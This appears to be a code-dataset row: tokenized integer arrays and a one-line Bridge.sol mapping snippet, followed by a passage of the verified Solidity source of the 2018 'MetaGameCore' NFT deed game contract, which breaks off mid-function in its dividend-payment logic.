203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x765becb5696AfD5A44D4EE8C6269F0b169b1df4D/sources/contracts/Bridge.sol | index of node on the bridge
| mapping (address => uint256) private _index; | 789,521 | [
1,
1615,
434,
756,
603,
326,
10105,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
1615,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0xBAd8E5Bbb4fAD4029Ab444A10855539850a91FB9
//Contract name: MetaGameCore
//Balance: 0 Ether
//Verification Date: 2/21/2018
//Transacion Count: 982
// CODE STARTS HERE
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
/// @dev Implements access control to the DWorld contract.
contract MetaGameAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
function MetaGameAccessControl() public {
// The creator of the contract is the initial CFO.
cfoAddress = msg.sender;
}
/// @dev Access modifier for CFO-only functionality.
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Assigns a new address to act as the CFO. Only available to the current contract owner.
/// @param _newCFO The address of the new CFO.
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
}
/// @dev Defines base data structures for DWorld.
contract MetaGameBase is MetaGameAccessControl {
using SafeMath for uint256;
mapping (uint256 => address) identifierToOwner;
mapping (uint256 => address) identifierToApproved;
mapping (address => uint256) ownershipDeedCount;
mapping (uint256 => uint256) identifierToParentIdentifier;
/// @dev All existing identifiers.
uint256[] public identifiers;
/// @notice Get all minted identifiers;
function getAllIdentifiers() external view returns(uint256[]) {
return identifiers;
}
/// @notice Returns the identifier of the parent of an identifier.
/// The parent identifier is 0 if the identifier has no parent.
/// @param identifier The identifier to get the parent identifier of.
function parentOf(uint256 identifier) external view returns (uint256 parentIdentifier) {
parentIdentifier = identifierToParentIdentifier[identifier];
}
}
/// @title Interface for contracts conforming to ERC-721: Deed Standard
/// @author William Entriken (https://phor.net), et al.
/// @dev Specification at https://github.com/ethereum/EIPs/pull/841 (DRAFT)
interface ERC721 {
// COMPLIANCE WITH ERC-165 (DRAFT) /////////////////////////////////////////
/// @dev ERC-165 (draft) interface signature for itself
// bytes4 internal constant INTERFACE_SIGNATURE_ERC165 = // 0x01ffc9a7
// bytes4(keccak256('supportsInterface(bytes4)'));
/// @dev ERC-165 (draft) interface signature for ERC721
// bytes4 internal constant INTERFACE_SIGNATURE_ERC721 = // 0xda671b9b
// bytes4(keccak256('ownerOf(uint256)')) ^
// bytes4(keccak256('countOfDeeds()')) ^
// bytes4(keccak256('countOfDeedsByOwner(address)')) ^
// bytes4(keccak256('deedOfOwnerByIndex(address,uint256)')) ^
// bytes4(keccak256('approve(address,uint256)')) ^
// bytes4(keccak256('takeOwnership(uint256)'));
/// @notice Query a contract to see if it supports a certain interface
/// @dev Returns `true` the interface is supported and `false` otherwise,
/// returns `true` for INTERFACE_SIGNATURE_ERC165 and
/// INTERFACE_SIGNATURE_ERC721, see ERC-165 for other interface signatures.
function supportsInterface(bytes4 _interfaceID) external pure returns (bool);
// PUBLIC QUERY FUNCTIONS //////////////////////////////////////////////////
/// @notice Find the owner of a deed
/// @param _deedId The identifier for a deed we are inspecting
/// @dev Deeds assigned to zero address are considered destroyed, and
/// queries about them do throw.
/// @return The non-zero address of the owner of deed `_deedId`, or `throw`
/// if deed `_deedId` is not tracked by this contract
function ownerOf(uint256 _deedId) external view returns (address _owner);
/// @notice Count deeds tracked by this contract
/// @return A count of the deeds tracked by this contract, where each one of
/// them has an assigned and queryable owner
function countOfDeeds() public view returns (uint256 _count);
/// @notice Count all deeds assigned to an owner
/// @dev Throws if `_owner` is the zero address, representing destroyed deeds.
/// @param _owner An address where we are interested in deeds owned by them
/// @return The number of deeds owned by `_owner`, possibly zero
function countOfDeedsByOwner(address _owner) public view returns (uint256 _count);
/// @notice Enumerate deeds assigned to an owner
/// @dev Throws if `_index` >= `countOfDeedsByOwner(_owner)` or if
/// `_owner` is the zero address, representing destroyed deeds.
/// @param _owner An address where we are interested in deeds owned by them
/// @param _index A counter between zero and `countOfDeedsByOwner(_owner)`,
/// inclusive
/// @return The identifier for the `_index`th deed assigned to `_owner`,
/// (sort order not specified)
function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _deedId);
// TRANSFER MECHANISM //////////////////////////////////////////////////////
/// @dev This event emits when ownership of any deed changes by any
/// mechanism. This event emits when deeds are created (`from` == 0) and
/// destroyed (`to` == 0). Exception: during contract creation, any
/// transfers may occur without emitting `Transfer`.
event Transfer(address indexed from, address indexed to, uint256 indexed deedId);
/// @dev This event emits on any successful call to
/// `approve(address _spender, uint256 _deedId)`. Exception: does not emit
/// if an owner revokes approval (`_to` == 0x0) on a deed with no existing
/// approval.
event Approval(address indexed owner, address indexed approved, uint256 indexed deedId);
/// @notice Approve a new owner to take your deed, or revoke approval by
/// setting the zero address. You may `approve` any number of times while
/// the deed is assigned to you, only the most recent approval matters.
/// @dev Throws if `msg.sender` does not own deed `_deedId` or if `_to` ==
/// `msg.sender`.
/// @param _deedId The deed you are granting ownership of
function approve(address _to, uint256 _deedId) external;
/// @notice Become owner of a deed for which you are currently approved
/// @dev Throws if `msg.sender` is not approved to become the owner of
/// `deedId` or if `msg.sender` currently owns `_deedId`.
/// @param _deedId The deed that is being transferred
function takeOwnership(uint256 _deedId) external;
// SPEC EXTENSIONS /////////////////////////////////////////////////////////
/// @notice Transfer a deed to a new owner.
/// @dev Throws if `msg.sender` does not own deed `_deedId` or if
/// `_to` == 0x0.
/// @param _to The address of the new owner.
/// @param _deedId The deed you are transferring.
function transfer(address _to, uint256 _deedId) external;
}
/// @title Metadata extension to ERC-721 interface
/// @author William Entriken (https://phor.net)
/// @dev Specification at https://github.com/ethereum/EIPs/pull/841 (DRAFT)
interface ERC721Metadata {
/// @dev ERC-165 (draft) interface signature for ERC721
// bytes4 internal constant INTERFACE_SIGNATURE_ERC721Metadata = // 0x2a786f11
// bytes4(keccak256('name()')) ^
// bytes4(keccak256('symbol()')) ^
// bytes4(keccak256('deedUri(uint256)'));
/// @notice A descriptive name for a collection of deeds managed by this
/// contract
/// @dev Wallets and exchanges MAY display this to the end user.
function name() public pure returns (string _deedName);
/// @notice An abbreviated name for deeds managed by this contract
/// @dev Wallets and exchanges MAY display this to the end user.
function symbol() public pure returns (string _deedSymbol);
/// @notice A distinct URI (RFC 3986) for a given token.
/// @dev If:
/// * The URI is a URL
/// * The URL is accessible
/// * The URL points to a valid JSON file format (ECMA-404 2nd ed.)
/// * The JSON base element is an object
/// then these names of the base element SHALL have special meaning:
/// * "name": A string identifying the item to which `_deedId` grants
/// ownership
/// * "description": A string detailing the item to which `_deedId` grants
/// ownership
/// * "image": A URI pointing to a file of image/* mime type representing
/// the item to which `_deedId` grants ownership
/// Wallets and exchanges MAY display this to the end user.
/// Consider making any images at a width between 320 and 1080 pixels and
/// aspect ratio between 1.91:1 and 4:5 inclusive.
function deedUri(uint256 _deedId) external pure returns (string _uri);
}
/// @dev Holds deed functionality such as approving and transferring. Implements ERC721.
contract MetaGameDeed is MetaGameBase, ERC721, ERC721Metadata {
/// @notice Name of the collection of deeds (non-fungible token), as defined in ERC721Metadata.
function name() public pure returns (string _deedName) {
_deedName = "MetaGame";
}
/// @notice Symbol of the collection of deeds (non-fungible token), as defined in ERC721Metadata.
function symbol() public pure returns (string _deedSymbol) {
_deedSymbol = "MG";
}
/// @dev ERC-165 (draft) interface signature for itself
bytes4 internal constant INTERFACE_SIGNATURE_ERC165 = // 0x01ffc9a7
bytes4(keccak256('supportsInterface(bytes4)'));
/// @dev ERC-165 (draft) interface signature for ERC721
bytes4 internal constant INTERFACE_SIGNATURE_ERC721 = // 0xda671b9b
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('countOfDeeds()')) ^
bytes4(keccak256('countOfDeedsByOwner(address)')) ^
bytes4(keccak256('deedOfOwnerByIndex(address,uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('takeOwnership(uint256)'));
/// @dev ERC-165 (draft) interface signature for ERC721
bytes4 internal constant INTERFACE_SIGNATURE_ERC721Metadata = // 0x2a786f11
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('deedUri(uint256)'));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract.
/// (ERC-165 and ERC-721.)
function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
return (
(_interfaceID == INTERFACE_SIGNATURE_ERC165)
|| (_interfaceID == INTERFACE_SIGNATURE_ERC721)
|| (_interfaceID == INTERFACE_SIGNATURE_ERC721Metadata)
);
}
/// @dev Checks if a given address owns a particular deed.
/// @param _owner The address of the owner to check for.
/// @param _deedId The deed identifier to check for.
function _owns(address _owner, uint256 _deedId) internal view returns (bool) {
return identifierToOwner[_deedId] == _owner;
}
/// @dev Approve a given address to take ownership of a deed.
/// @param _from The address approving taking ownership.
/// @param _to The address to approve taking ownership.
/// @param _deedId The identifier of the deed to give approval for.
function _approve(address _from, address _to, uint256 _deedId) internal {
identifierToApproved[_deedId] = _to;
// Emit event.
Approval(_from, _to, _deedId);
}
/// @dev Checks if a given address has approval to take ownership of a deed.
/// @param _claimant The address of the claimant to check for.
/// @param _deedId The identifier of the deed to check for.
function _approvedFor(address _claimant, uint256 _deedId) internal view returns (bool) {
return identifierToApproved[_deedId] == _claimant;
}
/// @dev Assigns ownership of a specific deed to an address.
/// @param _from The address to transfer the deed from.
/// @param _to The address to transfer the deed to.
/// @param _deedId The identifier of the deed to transfer.
function _transfer(address _from, address _to, uint256 _deedId) internal {
// The number of deeds is capped at rows * cols, so this cannot
// be overflowed if those parameters are sensible.
ownershipDeedCount[_to]++;
// Transfer ownership.
identifierToOwner[_deedId] = _to;
// When a new deed is minted, the _from address is 0x0, but we
// do not track deed ownership of 0x0.
if (_from != address(0)) {
ownershipDeedCount[_from]--;
// Clear taking ownership approval.
delete identifierToApproved[_deedId];
}
// Emit the transfer event.
Transfer(_from, _to, _deedId);
}
// ERC 721 implementation
/// @notice Returns the total number of deeds currently in existence.
/// @dev Required for ERC-721 compliance.
function countOfDeeds() public view returns (uint256) {
return identifiers.length;
}
/// @notice Returns the number of deeds owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function countOfDeedsByOwner(address _owner) public view returns (uint256) {
return ownershipDeedCount[_owner];
}
/// @notice Returns the address currently assigned ownership of a given deed.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _deedId) external view returns (address _owner) {
_owner = identifierToOwner[_deedId];
require(_owner != address(0));
}
/// @notice Approve a given address to take ownership of a deed.
/// @param _to The address to approve taking owernship.
/// @param _deedId The identifier of the deed to give approval for.
/// @dev Required for ERC-721 compliance.
function approve(address _to, uint256 _deedId) external whenNotPaused {
uint256[] memory _deedIds = new uint256[](1);
_deedIds[0] = _deedId;
approveMultiple(_to, _deedIds);
}
/// @notice Approve a given address to take ownership of multiple deeds.
/// @param _to The address to approve taking ownership.
/// @param _deedIds The identifiers of the deeds to give approval for.
function approveMultiple(address _to, uint256[] _deedIds) public whenNotPaused {
// Ensure the sender is not approving themselves.
require(msg.sender != _to);
for (uint256 i = 0; i < _deedIds.length; i++) {
uint256 _deedId = _deedIds[i];
// Require the sender is the owner of the deed.
require(_owns(msg.sender, _deedId));
// Perform the approval.
_approve(msg.sender, _to, _deedId);
}
}
/// @notice Transfer a deed to another address. If transferring to a smart
/// contract be VERY CAREFUL to ensure that it is aware of ERC-721, or your
/// deed may be lost forever.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _deedId The identifier of the deed to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(address _to, uint256 _deedId) external whenNotPaused {
uint256[] memory _deedIds = new uint256[](1);
_deedIds[0] = _deedId;
transferMultiple(_to, _deedIds);
}
/// @notice Transfers multiple deeds to another address. If transferring to
/// a smart contract be VERY CAREFUL to ensure that it is aware of ERC-721,
/// or your deeds may be lost forever.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _deedIds The identifiers of the deeds to transfer.
function transferMultiple(address _to, uint256[] _deedIds) public whenNotPaused {
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
require(_to != address(this));
for (uint256 i = 0; i < _deedIds.length; i++) {
uint256 _deedId = _deedIds[i];
// One can only transfer their own deeds.
require(_owns(msg.sender, _deedId));
// Transfer ownership
_transfer(msg.sender, _to, _deedId);
}
}
/// @notice Transfer a deed owned by another address, for which the calling
/// address has previously been granted transfer approval by the owner.
/// @param _deedId The identifier of the deed to be transferred.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _deedId) external whenNotPaused {
uint256[] memory _deedIds = new uint256[](1);
_deedIds[0] = _deedId;
takeOwnershipMultiple(_deedIds);
}
/// @notice Transfer multiple deeds owned by another address, for which the
/// calling address has previously been granted transfer approval by the owner.
/// @param _deedIds The identifier of the deed to be transferred.
function takeOwnershipMultiple(uint256[] _deedIds) public whenNotPaused {
for (uint256 i = 0; i < _deedIds.length; i++) {
uint256 _deedId = _deedIds[i];
address _from = identifierToOwner[_deedId];
// Check for transfer approval
require(_approvedFor(msg.sender, _deedId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, msg.sender, _deedId);
}
}
/// @notice Returns a list of all deed identifiers assigned to an address.
/// @param _owner The owner whose deeds we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. It's very
/// expensive and is not supported in contract-to-contract calls as it returns
/// a dynamic array (only supported for web3 calls).
function deedsOfOwner(address _owner) external view returns(uint256[]) {
uint256 deedCount = countOfDeedsByOwner(_owner);
if (deedCount == 0) {
// Return an empty array.
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](deedCount);
uint256 totalDeeds = countOfDeeds();
uint256 resultIndex = 0;
for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) {
uint256 identifier = identifiers[deedNumber];
if (identifierToOwner[identifier] == _owner) {
result[resultIndex] = identifier;
resultIndex++;
}
}
return result;
}
}
/// @notice Returns a deed identifier of the owner at the given index.
/// @param _owner The address of the owner we want to get a deed for.
/// @param _index The index of the deed we want.
function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
// The index should be valid.
require(_index < countOfDeedsByOwner(_owner));
// Loop through all deeds, accounting the number of deeds of the owner we've seen.
uint256 seen = 0;
uint256 totalDeeds = countOfDeeds();
for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) {
uint256 identifier = identifiers[deedNumber];
if (identifierToOwner[identifier] == _owner) {
if (seen == _index) {
return identifier;
}
seen++;
}
}
}
/// @notice Returns an (off-chain) metadata url for the given deed.
/// @param _deedId The identifier of the deed to get the metadata
/// url for.
/// @dev Implementation of optional ERC-721 functionality.
function deedUri(uint256 _deedId) external pure returns (string uri) {
// Assume a maximum deed id length.
require (_deedId < 1000000);
uri = "https://meta.quazr.io/card/xxxxxxx";
bytes memory _uri = bytes(uri);
for (uint256 i = 0; i < 7; i++) {
_uri[33 - i] = byte(48 + (_deedId / 10 ** i) % 10);
}
}
}
/**
* @title PullPayment
* @dev Base contract supporting async send for pull payments. Inherit from this
* contract and use asyncSend instead of send.
*/
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
/**
* @dev withdraw accumulated balance, called by payee.
*/
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
/// @dev Defines base data structures for DWorld.
contract MetaGameFinance is MetaGameDeed, PullPayment {
/// @notice The dividend given to all parents of a deed,
/// in 1/1000th of a percentage.
uint256 public dividendPercentage = 1000;
/// @notice The minimum fee for the contract in 1/1000th
/// of a percentage.
uint256 public minimumFee = 2500;
/// @notice The minimum total paid in fees and dividends.
/// If there are (almost) no dividends to be paid, the fee
/// for the contract is higher. This happens for deeds at
/// or near the top of the hierarchy. In 1/1000th of a
/// percentage.
uint256 public minimumFeePlusDividends = 7000;
// @dev A mapping from deed identifiers to the buyout price.
mapping (uint256 => uint256) public identifierToPrice;
/// @notice The threshold for a payment to be sent directly,
/// instead of added to a beneficiary's balance.
uint256 public directPaymentThreshold = 0 ether;
/// @notice Boolean indicating whether deed price can be changed
/// manually.
bool public allowChangePrice = false;
/// @notice The maximum depth for which dividends will be paid to parents.
uint256 public maxDividendDepth = 6;
/// @dev This event is emitted when a deed's buyout price is initially set or changed.
event Price(uint256 indexed identifier, uint256 price, uint256 nextPrice);
/// @dev This event is emitted when a deed is bought out.
event Buy(address indexed oldOwner, address indexed newOwner, uint256 indexed identifier, uint256 price, uint256 ownerWinnings);
/// @dev This event is emitted when a dividend is paid.
event DividendPaid(address indexed beneficiary, uint256 indexed identifierBought, uint256 indexed identifier, uint256 dividend);
/// @notice Set the threshold for a payment to be sent directly.
/// @param threshold The threshold for a payment to be sent directly.
function setDirectPaymentThreshold(uint256 threshold) external onlyCFO {
directPaymentThreshold = threshold;
}
/// @notice Set whether prices can be changed manually.
/// @param _allowChangePrice Bool indiciating wether prices can be changed manually.
function setAllowChangePrice(bool _allowChangePrice) external onlyCFO {
allowChangePrice = _allowChangePrice;
}
/// @notice Set the maximum dividend depth.
/// @param _maxDividendDepth The maximum dividend depth.
function setMaxDividendDepth(uint256 _maxDividendDepth) external onlyCFO {
maxDividendDepth = _maxDividendDepth;
}
/// @notice Calculate the next price given the current price.
/// @param currentPrice The current price.
function nextPrice(uint256 currentPrice) public pure returns(uint256) {
if (currentPrice < 1 ether) {
return currentPrice.mul(200).div(100); // 100% increase
} else if (currentPrice < 5 ether) {
return currentPrice.mul(150).div(100); // 50% increase
} else {
return currentPrice.mul(135).div(100); // 35% increase
}
}
/// @notice Set the price of a deed.
/// @param identifier The identifier of the deed to change the price of.
/// @param newPrice The new price of the deed.
function changeDeedPrice(uint256 identifier, uint256 newPrice) public {
// The message sender must be the deed owner.
require(identifierToOwner[identifier] == msg.sender);
// Price changes must be enabled.
require(allowChangePrice);
// The new price must be lower than the current price.
require(newPrice < identifierToPrice[identifier]);
// Set the new price.
identifierToPrice[identifier] = newPrice;
Price(identifier, newPrice, nextPrice(newPrice));
}
/// @notice Set the initial price of a deed.
/// @param identifier The identifier of the deed to change the price of.
/// @param newPrice The new price of the deed.
function changeInitialPrice(uint256 identifier, uint256 newPrice) public onlyCFO {
// The deed must be owned by the contract.
require(identifierToOwner[identifier] == address(this));
// Set the new price.
identifierToPrice[identifier] = newPrice;
Price(identifier, newPrice, nextPrice(newPrice));
}
/// @dev Pay dividends to parents of a deed.
/// @param identifierBought The identifier of the deed that was bought.
/// @param identifier The identifier of the deed to pay its parents dividends for (recursed).
/// @param dividend The dividend to be paid to parents of the deed.
/// @param depth The depth of this dividend.
function _payDividends(uint256 identifierBought, uint256 identifier, uint256 dividend, uint256 depth)
internal
returns(uint256 totalDividendsPaid)
{
uint256 parentIdentifier = identifierToParentIdentifier[identifier];
if (parentIdentifier != 0 && depth < maxDividendDepth) {
address parentOwner = identifierToOwner[parentIdentifier];
if (parentOwner != address(this)) {
// Send dividend to the owner of the parent.
_sendFunds(parentOwner, dividend);
DividendPaid(parentOwner, identifierBought, parentIdentifier, dividend);
}
totalDividendsPaid = dividend;
// Recursively pay dividends to parents of parents.
uint256 dividendsPaid = _payDividends(identifierBought, parentIdentifier, dividend, depth + 1);
